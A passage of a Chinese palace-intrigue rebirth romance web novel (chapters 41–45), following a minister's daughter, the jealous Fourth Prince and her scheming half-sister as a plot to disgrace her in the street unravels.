《嫡女重生悔婚,阴鸷王爷破大防!》 第41章 吃醋 第四十一章 吃醋 “四哥,息怒!说不定嫂嫂只是去给皇祖母请安了呢!”七皇子小心翼翼地劝道。 萧凌川眼风扫过,语气冷淡:“谁说我生气了?” 七皇子被噎得说不出话来,心中却暗自腹诽:四哥,你何必如此口是心非? 瞧你这脸色,简直比阎王爷还吓人,还说没生气?! 自从发现宫中有南月细作暗中收集情报后,萧凌川便在宫中安插了几个暗卫,以便随时掌握宫中动态。 此刻,得到他的传唤,暗卫们迅速前来禀报。 “禀四皇子殿下,姜姑娘今日去了荣贵妃宫中。”一个暗卫道。 “荣贵妃?”萧凌川脸色骤然阴沉下来,语气也变得森冷,“她去荣贵妃那里做什么?” “回殿下,姜姑娘是去教荣华公主射箭的。今日五皇子殿下也在荣贵妃宫中。”暗卫恭敬地回禀。 萧凌川薄唇紧抿,脸上戾气横生。 他想起上次姜姝宁跪在自己面前,求他帮她报仇,将自己剥得精光的香艳场景。 他有些后悔自己当了回正人君子。 七皇子见他神色阴沉得可怕,连忙出来打圆场:“或许嫂嫂只是应了荣贵妃的请求,四哥你也知道,荣华最喜欢骑马射箭……五哥兴许只是碰巧去了荣贵妃那里……” “凌风!”萧凌川像是没听到七皇子的话,冷声吩咐,“追上姜姑娘的马车,给她送个信,让她明日务必进宫来见我!” 他亲手教她的箭术,可不是让她用来吸引倾慕者的! “是,殿下!”凌风领命而去。 七皇子回到桌前,端起茶盏猛灌了一口压压惊。 没想到嫂嫂最终还是选了五哥。 可怜的四哥,他得多难过啊! 对上萧凌川那双猩红冷厉的桃花眼,七皇子陡然一惊,又在心里默默补充了一句:四哥虽可怜,但他吃起醋来的模样真可怕! —— 姜姝宁端坐于回府的马车内,马车行至京中最繁华的街道时,猛地一顿,停在了街心。 她心头微紧,上次马车无故停下,她险些遭遇刺杀,这事让她至今都心有余悸。 她下意识摸向扣住袖中暗藏的袖弩,看了一眼身旁的凌芜。 “老杨,怎么回事?”凌芜沉声询问车夫。 “大小姐,凌姑娘,待小的下去查看!”老杨回答道。 话音未落,一声尖锐的男子嚎叫骤然刺破街市的喧闹:“撞人啦!相府的马车撞人啦!” 老杨无奈又恼怒:“这位公子,小的马车明明未曾碰到你!你怎的自己倒在路边?” 凌芜掀开帷帘一角,见那男子躺在地上撒泼打滚,嗓音高亢刺耳:“你们撞了人,还想抵赖?我不管,今日 你们必须给我个说法!” 凌芜冷哼一声,用力掀开帷帘,目光如刀般落在地上那装模作样的男子身上。 “瞧你这中气十足的模样,哪里像是受伤?莫不是想碰瓷讹我们?” 她话音刚落,街边忽地冒出几名汉子,齐齐围上前,扯着嗓子嚷道:“快来看啊!相府嫡小姐的马车撞了人,不但不认,还要反咬一口!还有没有天理了?” 他们这叫声引得四周的百姓迅速聚拢,对着马车指指点点。 凌芜气得脸色发白,正欲下马车与那群无赖理论,却被姜姝宁一把拉住。 她低声道:“别冲动!这帮地痞流氓摆明是冲我来的,小心落入他们的圈套!” 凌芜闻言,强压怒火,坐回原位,冷冷道:“既如此,咱们去见官!让官府来断个公道!若真是我们撞了人,赔多少银子我们也绝不推辞!” “赔钱?不必!”躺在地上的男子冷笑,翻身而起,拍了拍身上的灰,露出一副无赖嘴脸,“只要你家小姐下车,亲自给我赔个礼,这事就算了!” “对!快下来,给我们公子赔罪!”几个同伙喧嚷着上前,气势汹汹,甚至伸手去掀车帘。 凌芜气得咬牙,众目睽睽之下,若她动手教训这些无赖,只怕反被扣上“相府小姐仗势欺人”的帽子,平白坏了姜姝宁的名声。 姜姝宁目光冷静地扫过车外喧闹的人群。 忽然,她从袖中掏出一把碎银,猛地扬手洒向马车前方。 银光闪烁,碎银如雨般散落街头。 围观百姓眼睛一亮,惊呼着扑向地面争抢,场面瞬间一片混乱。 那几个无赖被挤得东倒西歪,哪里还顾得上掀车帘。 凌芜反应极快,趁乱翻身上马,猛地一拉缰绳,调转马头,朝另一条街疾驰而去。马夫也迅速跟上,护在车旁。 待马车驶入僻静街道,凌芜钻回车内,脸色凝重:“大小姐,方才那些人,您可知他们的来路?” 姜姝宁微微摇头,目光沉静:“不知。但我清楚,他们从头到尾的目的,就是诱我下车。” 只要不依他们的计,他们便算计不了她。 姜姝宁自认不算聪慧,但前世死过一次,若还学不会几分谨慎,那才真是白活了。 姜姝宁回到相府,没想到竟在门口撞见姜瑶真。 姜瑶真一见到她从马车上下来,衣衫整洁,发簪未乱,原本期待的神色瞬间凝固,眼中的失望几乎要满溢出来。 姜天赐不是说找人当街扯她衣衫吗?怎么…… 姜姝宁见她像是在等自己,忍不住问:“妹妹有事?” 姜瑶真连忙掩饰脸上的失落,故作轻松地轻咳一声:“姐姐入宫倒是勤快,不知道的还以为姐姐才是准皇子妃呢!” 姜姝宁心中了然,原来是怕她去宫里勾引三皇子。 “妹妹放心,我就算去宫里再勤,也不会对三皇子生出什么不该有的心思。”她凑近姜瑶真耳畔,低声道,“妹妹视若珍宝的,我其实半点都瞧不上。我嫌脏!” 她特意在“脏”字上加重了语气,似笑非笑地瞥了一眼姜瑶真瞬间惨白的脸色。 “你!”姜瑶真气得浑身发抖,却无力反驳,只能狠狠地跺了跺脚。 看着姜姝宁施施然离去的背影,她眼底满是怨毒,指甲几乎要掐进肉里。 姜姝宁,你等着,总有一天我要将你狠狠踩在脚底下! 到时候,看你还如何故作清高! 原本跟在姜姝宁马车后打算送信的凌风,亲眼目睹了街市的那场闹剧。 他不动声色地尾随几个闹事的男子,待他们行至一处偏僻巷弄,便迅如鬼魅般出手,将他们一一打晕,拖至一间废弃破庙,牢牢捆绑。 待这些男子醒来,凌风毫不留情地将他们揍了一顿,逼问他们此番行事的真正目的。 领头男子被揍得鼻青脸肿,痛呼求饶,很快招供:“我们受人指使,想诱相府嫡女下车,趁乱扯乱她的衣衫,当众毁她清誉,让她再无高门可嫁!” 凌风闻言,眸光骤冷,拳头捏得咯吱作响:“谁指使的?” “大侠饶命!是……是姜家二少爷,姜天赐!”男子吓得魂不附体,颤声交代。 凌风将这群人丢在破庙,快马加鞭返回皇宫,向萧凌川复命。 景和宫内,萧凌川闻言神色骤然阴沉,眼中似有风暴凝聚:“姜天赐?好大的胆子!” 凌风连忙道:“殿下,属下这就去将姜天赐抓来教训一顿!” “慢着。”萧凌川抬手止住他,目光幽深,似在思量什么,“此事暂且不动,待明日我亲自见了她再说。” 一旁的七皇子笑得意味深长:“对,正好卖个人情给嫂嫂,她定会感激涕零!” “聒噪!”萧凌川斜睨他一眼。 第42章 意属哪位皇子? 第四十二章 意属哪位皇子? 姜姝宁是在入睡前收到凌风送来的信笺。 凌芜告诉她,夜深人静时,一个黑衣人悄无声息地将信丢到她巡逻的屋顶上。 姜姝宁接过信,展开一看,熟悉的笔迹映入眼帘——是萧凌川的字。 前世与他做了十年夫妻,她对这遒劲的字体再熟悉不过。 信上言简意赅,只说让她明日务必前往景和宫,有要事相商。 深更半夜送信,究竟有何急事? 姜姝宁心生疑惑,甚至有些隐隐不安。 翌日,她依约来到景和宫。 刚踏入宫门,黑豹便摇着尾巴凑上来,亲昵地蹭着她的裙摆。 姜姝宁蹲下身,轻轻抚摸它的头,唇角不自觉地扬起一抹笑。 要知道,前世为了讨好萧凌川这只爱宠,她费了不知多少功夫。 没想到今生什么也没做,这小家伙反倒主动亲近自己。 可见,真正的喜欢,是不需要做任何努力的。 身后传来熟悉的脚步声,她抬头一看,萧凌川已缓步走来。 他一身锦袍,容貌昳丽,眉眼间却带着几分清冷。 “臣女参见四皇子殿下。”姜姝宁起身,语气客气而疏离。 萧凌川目光在她身上停留片刻,语气淡漠:“怎么没带东西来?” 姜姝宁一愣。 她这才想起,每次来景和宫,她总会带些糕点或汤羹给萧凌川。 有时候是被逼无奈,有时候是他受伤,她来探病,总不能空手而来。 但其实,她内心深处是抗拒的。 前世,他已经吃了太多她亲手做的东西,今生,她想把自己的厨艺留给更值得的人。 当然,这些心思,她是绝不会让萧凌川知晓的。 她低头,低眉顺眼道:“殿下恕罪,臣女来得急,忘了……” “无妨。后厨有杏仁粉和奶酪,做份杏仁干酪饼绰绰有余。” 姜姝宁一怔,脱口而出:“殿下,这不合礼数吧?” “哦?”萧凌川挑眉,眼中闪过一丝戏谑,“你倒是说说,哪里不合礼数?” 姜姝宁语塞。 他话说到这份上,她若再推脱,反倒显得不懂事。 她还得靠他为自己兄长报仇,别说他现在要吃杏仁饼了,就是要吃满汉全席,她也得想办法做给他吃。 想到这,她只能硬着头皮随他前往后厨。 景和宫的厨房宽敞明亮,比相府的厨房大了足足一倍。 近日修葺一新,器具整洁,窗外阳光洒入,平添几分温馨。 竟是跟从前景王府的后厨十分相似。 姜姝宁站在案前,心中泛起一丝复杂的情绪。 前世,她嫁给萧凌川后,除了寝殿,待得最多的地方便是厨房。 她曾坚信“抓住男人的胃,便能抓住他的心”,为此潜心研究厨艺,竟真让挑剔的萧凌川独爱她的手艺。 可那又如何? 她抓住了他的胃,却始终未能触及他的心。 思及此,她心头涌起一股酸涩。 若他喜欢她,她根本无需费心讨好,只可惜,这个道理她直到现在才懂。 不到半个时辰,香气四溢的杏仁干酪饼便出炉了,色泽金黄,令人垂涎。 正准备离开厨房时,她瞥见一名宫人正要往煮沸的肉粥里撒葱花,下意识开口:“别放葱,你家主子不喜葱味。” 萧凌川素来挑剔,不喜葱姜蒜等刺激调料,最不喜辛辣口味。 宫人愣了愣,连忙道谢:“多谢姜姑娘提醒!” 其实方才话一出口,姜姝宁便暗自后悔。 自己一个未出阁的女子,竟对四皇子的喜好如此了解,旁人会怎么想? 她垂下眼帘,掩去眼中的懊恼,默默将杏仁干酪饼端至萧凌川面前。 萧凌川坐在桌前,慢条斯理地尝她做的杏仁饼,偶尔喝一口茶润润喉。 他生得实在好看,哪怕只是安静坐着吃东西,那模样也十分赏心悦目。 姜姝宁隐隐觉得他心情不错。 他喜怒不形于色,但此时眼尾微勾,神色温润,已经是愉快时的表情了。 是有什么值得高兴的事情吗? 姜姝宁心念一动,想起近来宫里的传闻:三皇子舅父,镇国公的兵权被皇帝收回。 虽然没有明旨说明,但此事必然与不久前皇帝在狩猎上遇刺脱不了干系。 三皇子母族势力被削弱,难怪萧凌川如此高兴。 约莫过了三盏茶的功夫,她终于没忍住,径直开口问:“殿下今日叫臣女来,所为何事?” 萧凌川喝着茶,眼皮都没抬,淡淡问道:“相府最近有客人?” 姜姝宁心中一惊,果然什么事都瞒不过他。 “是,兄长去世后,二叔三叔携家带口来了相府,想将他们的儿子过继给父亲。”她顿了顿,接着说,“如今父亲已初步定下三房的独子为相府继承人。” “定下三房独子,是你的主意,还是你父亲的?”萧凌川放下茶盏,抬眸看向她。 “我的主意。”姜姝宁回答,“父亲母亲原本属意二房长子,因为他与兄长容貌相似。但我记得前世他是个赌徒,相府若落到他手里迟早败光,所以建议父亲选择三房的独子。” 姜姝宁忽然觉得,与同样重生的人交流起来,竟是如此简单。 只需告知前世所知,点明今生利弊即可,不像对旁人那般,难以解释。 萧凌川点了点头:“难怪昨日他找人故意在街头拦你的马车。” 姜姝宁眉心一跳:“那几个闹事的男子是我二哥找来的?” “是。幸好你昨日谨慎,没从马车里下来,否则他们会扯坏你的衣衫,坏你名声。” 这话如一盆冷水泼下,姜姝宁只觉脊背发寒。 她不过提议父亲另选过继人,断了姜天赐的念想,他竟用如此歹毒的手段报复自己! 不对! 姜天赐头脑简单,又是个男子,他想不出这么阴险又省力的害人方式。 姜姝宁想起昨夜看到姜瑶真候在相府门口,一副准备看好戏的模样,心中了然。 看来,是她这个妹妹在背后搞鬼。 萧凌川见她神色有异,问:“可是想到了什么?” “没有,只是有些惊讶,他是我堂兄,虽然从小我们不在一起长大,可毕竟有血缘关系,没想到他会害我。” 姜姝宁自然不能提到姜瑶真,若她直接在萧凌川面前说出自己对姜瑶真的怀疑,他势必会为觉得她在恶意中伤。 姜瑶真可是他放在心尖上的人,她不能冒这个险。 萧凌川漫不经心地端着茶盏,语气淡漠:“你动了他的利益,别说算计你,便是要你性命,他也下得了手。” 姜姝宁哑然。 她忽然意识到,身为皇子的萧凌川才是真正见识过亲缘凉薄的人。 为了争夺皇位,他们手上或多或少都沾染了至亲的血。 相较于他,自己被关系疏离的堂兄算计,似乎也不是什么值得难过的事。 “殿下说的是。” 萧凌川放下茶盏,目光冷冽如刀锋,缓缓落在她身上:“姜天赐,不能留。” 姜姝宁一惊,抬眸看他:“殿下……” “昨日他未能得逞,下次定会变本加厉,继续设局毁你名声。”萧凌川语调平静,却透着不容置疑的寒意,“还是说,你甘愿名声尽毁,从此与皇室姻缘无望?”姜姝宁陡然一惊。 在大邺,名声对一个女子而言何其重要。 五皇子及其母妃或许不在意她的家世背景,却绝不会接纳一个声名狼藉的女子为妃。 姜姝宁指尖微微收紧,深吸一口气,试探道:“殿下可有办法,助臣女除此隐患?” 萧凌川闻言,修长的手指轻轻摩挲着茶盏边缘,唇角勾起一抹意味不明的弧度。 他抬眸,目光在她脸上逡巡片刻,似笑非笑地开口:“看来,你是铁了心要嫁进皇室。说说看,你如今属意哪位皇子?” 景和宫内温暖如春,地龙的热气烘得人昏昏欲睡。 可姜姝宁却莫名觉得后背发凉,仿佛被某种猛兽盯上,惊惶不安。 第43章 此生不可能放手 第四十三章 此生不可能放手 姜姝宁垂眸,下意识掩饰心中波澜:“臣女并无此意……” “无意?”萧凌川轻嗤,桃花眸中寒光流转,“那昨日 你在荣贵妃宫中,陪荣华公主练了一下午射箭,莫非只是贪图荣贵妃赏的那几支簪子?” 对上他那双洞悉一切的眼,姜姝宁只觉头皮发麻。 他竟连这等细节都了如指掌! 她低头,指尖不自觉攥紧,有种被当场捉奸的窘迫。 萧凌川欣赏够了她脸上的狼狈,这才慢条斯理地开口,语气冷硬:“五皇子,不合适。” “为何?”姜姝宁猛然抬眸,迎上他的目光,“前世他也是您的盟友。况且,五皇子及其母族并无野心,也未曾明确站队……” 萧凌川冷冷瞥她一眼,眼中寒芒如刀,语气却透出几分意味深长:“你对五弟倒是格外上心。” 他下意识握紧手中茶盏,指节微微用力,似在克制某种情绪。 姜姝宁果然想嫁给萧怀瑾——这个念头让他心头烦躁不已。 “五弟母族世代经商,你以为他们真无野心?”他声音低沉,带着不容置疑的冷意,“谁说他们不站队?他们只站最后的赢家,大邺的帝王。” 姜姝宁心头一震,恍然明白。 前世萧怀瑾支持萧凌川,不过是因为他早已看清,萧凌川是绝对的赢家。 可这与她何干? 她冷声道:“臣女以为,殿下不会干涉臣女的婚事。” “若无关利益,我自不会多管。”萧凌川敛眸,眼中情绪晦暗不明,“你也知五弟及其母族对我的重要性。如今你是我的盟友,五弟却未必。还是说,你想成为我牵制五弟的棋子?” 姜姝宁心头一凛,毫不犹豫地拒绝:“不,我绝不愿意!” 前世十年婚姻的苦痛让她得到一个刻苦铭心的教训——用婚姻算计男人,只会换来悲惨结局。 若她真嫁给萧怀瑾,日后他发现她与萧凌川的盟约,定会将她的接近视为蓄意谋算。 到那时,她恐将重蹈前世覆辙,被夫君冷落、厌弃。 这样的痛苦,一世足矣! 萧凌川对她的反应很满意。 “你明白个中利害,甚好。至于你那堂兄,我会帮你处理的。” 姜姝宁眉心一跳:“殿下,他虽行事不堪,毕竟是臣女兄长,还请殿下手下留情,莫要伤及他的性命。” “放心,我自有分寸。”萧凌川撩起眼皮,直勾勾盯着她,眼中意味不明,“至于你的婚事,不用着急,若将来实在寻不到合适的,不妨考虑入我府中为妃。我们毕竟曾经夫妻一场,我不会亏待你的。” 姜姝宁心头一震,似有怒火与悲凉交织,堵得胸口发闷。 她咬紧唇,强压情绪,冷声道:“多谢殿下美意,臣女无福消受!若无他事,臣女告退!” 她行礼告退,步伐匆匆踏出景和宫。 寒风拂面,却吹不散心头那抹酸涩。 好不容易遇到一个适合当未来夫君的温润男子,却因与萧凌川的牵扯不得不割舍,怎么可能不遗憾? 好在她对萧怀瑾的情意尚未深陷,及时抽身尚不晚。 姜姝宁想起荣华公主那张玉雪可爱的脸庞,忍不住轻叹一声。 可惜了,以后不能常常见到小公主了,天知道自己有多喜欢她。 但愿此生能让她遇到个温柔的夫君,生个跟荣华公主那般可爱的女儿。 成功打消了姜姝宁想嫁给萧怀瑾的念头,萧凌川心情不错。 七皇子萧琪钰来了,见他桌上摆着杏仁饼,便伸手去拿,却被萧凌川眼疾手快地用手挡住了。 “不过一块杏仁饼罢了,四哥下次让嫂嫂多做几块不就行了?”七皇子悻悻道。 萧凌川想起方才厨房宫人传话,说姜姝宁特意叮嘱他们别放葱,心中更加愉悦。 她还记得他的饮食喜好。 可见她和他一样,前世种种,还是在她心底留下痕迹的。 “下次你再来吃吧。”他道。 七皇子打量着他,笑道:“四哥今日格外高兴,看来不止是吃了嫂嫂做的杏仁饼这么简单。” 萧凌川不置可否:“她已经对五弟断了念想。” “真的?”七皇子颇为惊讶,“四哥是如何做到的?” “权衡利弊罢了。她是个聪明人,一点就透。”萧凌川语气中带着一丝不易察觉的得意。 他深知姜姝宁的顾虑,重生一世,她定然不愿自己的姻缘再沾染任何利益纠葛,所以,她不会选择萧怀瑾。 七皇子点头赞同:“还是四哥厉害。不过,四哥何必如此费尽心思?等四哥将来大业得成,嫂嫂还不是你的?” 这句话却让萧凌川神色一黯,脑海中不合时宜地浮起前世姜姝宁临死前的模样。 “萧凌川……若有来世……我一定不会嫁给你,亦不会……爱上你……” “她不会愿意的。”他神色变得晦暗不明。 七皇子显然有些诧异,继而问:“四哥肯放手?” “不放手又能如何?”他苦笑,总不能让她再次在自己眼皮子底下死掉吧? 姜姝宁回了相府,府门一看又看到了姜瑶真。 姜瑶真冷笑:“姐姐进宫还真是勤啊!不知道姐姐是每次都去一个皇子 宫里,还是每次都去不同皇子的宫里?若妹妹有姐姐一半勾人的能力就好了,婚事也不会来得这般周折。” 姜姝宁看着她,眉头微蹙。 每次听姜瑶真说出这种上不得台面的话,她就忍不住好奇,萧凌川究竟看上了姜瑶真哪一点? 他那样聪明的人,不可能看不透姜瑶真的真面目。 可他就是喜欢,近乎痴迷,无论姜瑶真做什么,都无法撼动她在萧凌川心中的地位。 就像前世的自己,明知萧凌川性情凉薄,城府极深,却依旧飞蛾扑火般深爱着他。 前世萧凌川甚至不在意姜瑶真嫁过人,执意要给她一个名分。 这大概就是白月光的待遇吧,拥有被偏爱的特权。 只可惜,萧凌川的白月光在她这里可得不到什么偏爱。 姜姝宁红唇微勾,冷声道:“勾人的能力我没有,不过妹妹真想学,可以去春香楼学学。不过,你姨娘不是春香楼出来的吗?怎么,她那些勾栏手段没遗传给你?” “你……”姜瑶真气得脸一阵红一阵黑,最终捂着脸哭着跑了出去,“姜姝宁,你欺人太甚,我要去告诉爹爹!” 姜姝宁看着她气急败坏的背影,脸上浮起一丝嘲讽的笑意。 瞧,歹毒的话她也是会说的。 但每次一说,姜瑶真就受不了。 真是无趣啊! —— 这夜,萧凌川梦见了前世。 姜姝宁正在厨房里为他熬粥,见他回来,笑得眉眼弯弯,柔情似水:“王爷回来了?妾身正在煮粥,很快便能吃了。” 梦里的她,一颦一笑都如此鲜活,让他喉头一紧,情不自禁地走上前,扣住她纤细的腰肢,将她抱起放在桌上。 比起吃粥,他更想吃她。 她羞涩又惊恐,双手抵在他肩上,低声道:“王爷,别在这里……” 他扣住她的后脑勺,霸道地吻上她的唇,低哑着声音道:“本王是你的夫君,想在哪里,就在哪里。” 她起初挣扎反抗,但很快便在他的撩拨下渐渐沉 沦…… 梦里缱绻缠 绵,醒来时,他仍意犹未尽,身下燥热难耐。 殿内炭火烧得正旺,他额上渗出了薄汗。 他起身推开窗户,任凭冷风吹散身上的燥热。 这一刻,他知道,自己此生是不可能放手的。 第44章 不该有的绮念 第四十四章 不该有的绮念 那日之后,姜姝宁便深居简出,留在相府。 只要不出门,姜天赐便寻不到机会毁她清誉。 但她也不闲着,每日她都会抽出时间去三房,督促姜天泽的功课,观察他的武艺进展。 无论将来她嫁与何人,姜天泽作为相府未来的继承人,她都必须用心栽培。 一日,姜天泽练完武,笑盈盈地对她说:“大姐姐这般尽心尽力,若是大伯和大娘最终还是决定让二哥继承家业,岂不是白费心思了?” 姜姝宁淡淡一笑:“即便如此,你也是我的弟弟,我这个做姐姐的,自然应当关心你,栽培你。” 听到这话,姜天泽一双好看的凤眸里流光四溢:“大姐姐,你真好!” 他自幼聪慧,但生母是女支子,只知一味讨好父亲;父亲并非他的生父,性情乖戾,阴晴不定,家里根本没人真正关心他。 如今,他第一次感受到来自他人的关怀,心中除了感激,竟也生出了一丝不该有的绮念。 姜天赐因为过继的事情,在姜夫人面前闹了几次,姜夫人心软,几次想改主意,但姜丞相态度坚决,此事便不了了之。 数日后,管家神色慌张地来报:“大小姐,不好了!二少爷在地下赌 场聚赌,被官府抓了,现已入狱!” 姜姝宁心中明了,这是萧凌川出手了。 他不过是将姜天赐前世犯的错提前,并未伤及性命,已是手下留情。 “此事先瞒着母亲,以免她难过。另外,问一问二房的意思,若他们想继续留在京城,就另外给他们找个宅邸,但往后费用他们自己出;若他们想回徐州,给他们三百两银子。” 根据大邺律法,聚赌判三年,留了案底,断然是不能当相府继承人的。 儿子在服刑,二叔二婶自然也不好继续留在相府。 但京城开销大,姜姝宁猜他们定会接受她第二个提议,拿钱回徐州。 反正他们的儿子也是个扶不起的阿斗,还不如拿钱回老家,守着祖业过活来得实在。 “是,大小姐。”管家躬身退下。 姜姝宁目送管家离开,转头就对上姜天泽探究的目光,心头莫名一跳。 这个堂弟虽长得阴柔漂亮,但目光太过锐利,让人不敢直视。 “三弟为何这般看着我?” “大姐姐似乎对二哥聚赌入狱之事半点也不惊讶?” 姜姝宁一愣。 前世她听姜夫人提起,姜天赐赌博,债台高筑,二婶不得不来京城相府向他们借钱。 所以方才她听管家说起此事,半点也不惊讶。 可今生姜天赐确实还未表露出好赌的蛛丝马迹,她的不惊讶反而显得反常。 姜天泽比同龄人心思敏锐,竟被他看出来了。 “之前父亲母亲有意将二哥过继到名下时,我便略作了些调查,我发现他在徐州时已经染上了赌博的恶习。所以今日管家告诉我此事,我并不惊讶,毕竟赌博可不是那么好戒的。” “原来如此。”姜天泽看着她,眼中满是佩服和欣赏,“大姐姐真是深谋远虑,令人敬佩。” “三弟过奖了。”姜姝宁见他信了,心里暗暗松了口气,“往后姜府能依靠的就只有你了,你可要好好学文习武,千万别让人看低了去。” “定不负大姐姐期望。”姜天泽郑重地保证。 姜二夫人闻听儿子入狱,急得如同热锅上的蚂蚁。 她跑到姜丞相面前哭诉:“大伯,天赐还年轻,尚未娶妻,如今身陷囹圄,将来哪家姑娘肯嫁他?大伯您路子广,求您救救天赐!花多少钱我们都认!” 姜丞相向来自诩品行高洁,当初执意与二房、三房分家,便是嫌弃两个庶弟品行不端。 他先前因姜天赐与已故的长子姜天恩相似,尚有几分好感,如今得知姜天赐因赌博入狱,顿生嫌恶:“子不教,父之过!只能怪你们没教好孩子。他如今入狱,也算受个教训。若花钱赎他出来,将来恐怕还要惹祸!” 被姜丞相拒绝后,绝望的姜二夫人哭闹许久,又去求姜瑶真。 姜瑶真本就对姜天赐办事不力心存不满,不愿插手此事。 但姜二夫人哭得凄惨至极:“瑶真,你若不管天赐,他这辈子就完了!他不过是想从姝宁那儿要个院子,谁知会惹上这等牢狱之灾!呜呜呜,我可怜的孩子……” 姜瑶真眉头微挑:“二婶,你的意思是,是姐姐害二哥入狱的?” “肯定是啊!你想想,你二哥进了监狱,不就没资格过继到你爹名下了吗?她早就看天赐不顺眼了,天天往三房跑,对那个青 楼贱种好得不得了!得知你二哥入狱,不想着把他弄出来,反而拿三百两银子打发我们回徐州。她这般步步为营,不是她算计天赐,还能是谁?” 姜瑶真眸光流转。 姜姝宁当真如此忌惮姜天赐,竟不惜设计他入狱? 可她不过一个深闺女子,哪来这么大的本事? 难道是四皇子在帮她? 姜瑶真原本对姜天赐并无感情,但一想到能让姜姝宁不痛快,便立刻动了救他出狱的心思。 只要能让姜姝宁不好过,她就高兴。 “我可以让三皇子殿下帮忙,把二哥从牢里救出来。不过,往后你们二房便要为我做事,否则,我会让你们吃不了兜着走!” 姜二夫人立马跪在她面前,竖起三根手指:“我何氏对天发誓,只要你帮我把天赐从狱中救出来,从此以后,我自己,我夫君,以及我的一对儿女都听由你差遣!” 姜瑶真唇角勾起一丝笑意:“如此甚好。” 如今她和她的姨娘都受制于四皇子,她得尽快为自己找几个帮手,这样才能尽快从这困境里解脱。 好事可不能都落到姜姝宁一个人的头上。 姜瑶真想见三皇子萧修湛一面并非易事。 她既没有姜姝宁那样的金符令可以随意出入皇宫,也不愿低声下气去求姜姝宁带她进宫。 幸好萧修湛平日喜欢扮作世家公子流连春香楼听曲。 得知这个消息,姜瑶真乔装打扮后,便去了春香楼。 自从赐婚后,萧修湛对她似乎兴味索然。 男人总是如此,轻易得到便不懂珍惜。 但姜瑶真并不在意,她想要的并非萧修湛的爱,而是让他成为自己手中的一枚棋子。 萧修湛出手阔绰,每次到春香楼都包下全场,点名头牌凝香为他弹奏。 凝香姑娘人如其名,肤如凝脂,体带幽香。 据说无数贵家公子一掷千金只为一睹芳容,闻一闻她身上特有的馨香。 但她卖艺不卖身,只为萧修湛一人破例。 萧修湛每次来此,都能享受到旁人无法企及的极致体验,虚荣心得到了极大的满足。 身居高位,不就是为了享受那份独一无二的优待吗? 这日,凝香正在抚琴,一个红衣女子戴着面纱,忽然从窗外飞身而入,在屋里翩翩起舞。 凝香大惊失色,刚要叫人,却被萧修湛抬手制止。 一股若有似无的幽香从那女子身上传来,随着舞姿旋转,香味愈发浓郁。 萧修湛心中了然,这是女子身上散发出的体香! 凝香的体香不过是噱头,那香味是后天加上去的。 由于她从未与其他男子有过肌肤之亲,除了萧修湛,无人知晓真相。 而真正拥有体香的女子,世间少有! 第45章 厨娘和许愿王八 第四十五章 厨娘和许愿王八 萧修湛盯着眼前这抹翩翩起舞的身姿,闻着这愈发浓郁的幽香,脸上浮起觊觎之色。 一旁的凝香姑娘将这一幕尽收眼底,妒火中烧。 她不过青 楼女子,不敢奢求皇子垂爱,但春香楼是她的地盘,在这里,她是唯一能独占萧修湛目光的女子。 如今有人竟公然挑战她的地位,怎能不让她愤恨? 一曲终了,红衣女子似是力竭,脚下一软,眼看就要跌倒。 萧修湛眼疾手快,一把将她揽入怀中。 奇异的幽香夹杂着女子身上淡淡的体香,瞬间将他包围,激起一阵莫名的躁动。 他迫不及待地扯下面纱,看清女子的面容后,不禁低呼:“姜……” 姜瑶真娇羞一笑,连忙捂住他的嘴,媚眼如丝:“殿下,这里还有外人。” 她意有所指地瞥了一眼凝香。 萧修湛心领神会,冷眼扫过凝香:“退下。” 凝香愕然:“殿下,这是我的房间!” 萧修湛语气骤冷:“什么你的房间?你的东西,哪件不是本皇子赏的?退下!” 凝香气结,却又不敢违抗,只得愤愤离去,临走前狠狠瞪了萧修湛怀里的红衣女子一眼。 凝香一离开,屋内便只剩下二人。 姜瑶真这才松开捂住萧修湛嘴巴的手,佯装羞涩地从他怀中退出来,盈盈下拜:“臣女见过三皇子殿下。臣女唐突,还望殿下恕罪!” 萧修湛喉结滚动,目光灼热,眼中情 欲翻涌:“姜二小姐怎会唐突?本皇子欢喜都来不及!过来!” 姜瑶真知道自己方才已经点燃了他的欲 火。 但她此行并非为了满足他的私欲,而是另有要事。 她款款起身,却并未上前,反而欲拒还迎道:“殿下事务繁忙,臣女实在不得已,才出此下策,在春香楼求见一面。” 萧修湛见她刻意疏离,虽心痒难忍,但也怕吓到她,只得正色道:“姜二小姐有何事相求?” “臣女二哥被人设计陷害,如今身陷囹圄,臣女恳请殿下施以援手。” “二哥?”萧修湛挑眉,“你还有个二哥?” “是二叔的嫡长子。他与臣女已故的大哥生得有几分相似,臣女实在不忍见他受牢狱之灾。况且,臣女知道,他并非有意聚赌,而是被人设局陷害。还请殿下看在相府痛失长子的份上,帮臣女这一次。” 萧修湛闻言,眸光微动。 对于姜天恩之死,他心中并无半分愧疚,但姜瑶真这番话,却恰好给了他一个台阶。 若是他出手相助,便可将害死姜天恩的罪过一笔勾销,倒也未尝不可。 于是他主动问:“何人与你二哥过不去,竟设此毒计?” “是臣女的姐姐。” 萧修湛一愣:“姜姝宁?她为何要这样做?” “二哥初来乍到,看中了姐姐的翠竹院,两人因此起了争执。姐姐为了阻止二哥过继到爹爹名下,便设局陷害,让他锒铛入狱。”姜瑶真神情焦灼,眼神留露出一丝恰到好处的不安,“此事还请殿下秘而不宣,正所谓家丑不可外扬。” 萧修湛眸色深沉,心中暗忖:姜姝宁平日里一副端庄聪慧的模样,没想到竟如此心胸狭隘,为了一座院子,就将自己的堂兄送进大牢。 难道她平日里表现出的贤良淑德,都是伪装出来的? 他试探地问道:“她一个深闺女子,如何能设下此局,又从何处寻来的帮手?” 姜瑶真等的就是这句话。 “殿下有所不知,姐姐自从在赏菊宴上得太后青睐后,便有几位皇子对她心生爱慕。她近来频繁出入宫闱,想来是得了哪位皇子的帮助,才设下此局。” 萧修湛闻言,心头一震。 这姜姝宁竟有如此能耐? 他还以为只有他为了讨母妃欢心,想将她娶为正妻,没想到其他皇子也早拜倒在她的石榴裙下。 转念一想,她进宫数次,却从未寻过自己,心中不禁恼怒。 父皇膝下七位皇子,有谁能比得上他? 这姜姝宁真是有眼无珠! “你放心,你堂兄的事,本皇子应下了。” 他势在必得,定要查清姜姝宁三番两次进宫,究竟是去见了他哪位兄弟! “多谢殿下!”姜瑶真盈盈下拜。 许是不再流汗,她身上的幽香也渐渐淡了下去。 萧修湛眸色渐深,不由自主地靠近一步:“我竟不知姜二小姐天生体香。上次在营地……” “那次殿下醉酒,自然不曾察觉。” 姜瑶真故作羞赧,后退一步,拉开距离,“既已见到殿下,说明来意,臣女便不再叨扰了。” 萧修湛一愣:“你要走?” 